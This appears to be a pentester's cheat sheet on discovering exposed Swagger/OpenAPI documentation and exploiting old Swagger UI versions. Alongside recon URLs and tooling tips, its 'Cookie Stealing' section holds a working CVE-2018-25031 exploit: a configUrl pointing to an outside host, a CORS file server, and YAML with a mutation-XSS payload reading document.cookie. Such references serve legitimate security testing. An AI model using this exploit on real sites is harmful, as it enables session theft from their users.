Nuclei template
Find Exposed Swagger
Wordlist
Copy https://example.com/swagger.yaml
https://example.com/swagger.json
https://example.com/api-docs
https://example.com/v2/api-docs (Swagger 2.0)
https://example.com/v3/api-docs (OpenAPI 3) OSINT
Audit endpoints
Burp Extension
Parse OpenAPI documentation using the OpenAPI Parser BApp
Get versions and their vulnerabilities.
Find old versions of Swagger-ui vulnerable to various XSS attacks - XSSwagger
CVE-2018-25031
Swagger UI 4.1.2 and earlier could allow a remote attacker to conduct spoofing attacks.
Test: /api/docs/?configUrl=https://jumpy-floor.surge.sh/test.json
Cookie Stealing
Server with CORS Header
Copy from http.server import SimpleHTTPRequestHandler
import socketserver
class CORSRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')
super().end_headers()
if name == "__main__":
PORT = 80
with socketserver.TCPServer(("", PORT), CORSRequestHandler) as httpd:
print("Serving at port", PORT)
httpd.serve_forever() POC: test.json
Copy {
"url": "http://IP/test.yaml",
"urls": [
{
"url": "http://IP/test.yaml",
"name": "Foo"
}
]
} POC: test.yaml
Copy swagger: '2.0'
info:
title: XSS Attack BY 0xss0rz
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
- application/json
consumes:
- application/xml
- application/json
security: - basicAuth: []
paths:
/M0X0101:
get:
responses:
'200':
description: No response was specified
tags: - XSS_D
operationId: findAccounts
summary: Finds all accounts
'/hack/hachid/{id}':
delete:
parameters:
- description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
format: int64
in: path
name: id
required: true
type: integer
responses:
'200':
description: No response was specified Could lead to CSS exfiltration
Postman / Scanner
Copy http://url/swagger/docs/v1
http://url/<contextPath>/v3/api-docs # JSON file or check source code:
Copy const ui = SwaggerUIBundle({
url: "https://petstore.swagger.io/v2/swagger.json", // <-------
dom_id: '#swagger-ui', or dev tool
Copy curl -o swagger.yaml https://example.com/swagger.yaml If the swagger is a json file use yq to convert it: pip install yq or apt install yq
Copy curl -s https://example.com/swagger.json | yq -P > swagger.yaml You can now import the yaml file inside Postman or use it in scanner like Zap
SOAPi
Other Scanners
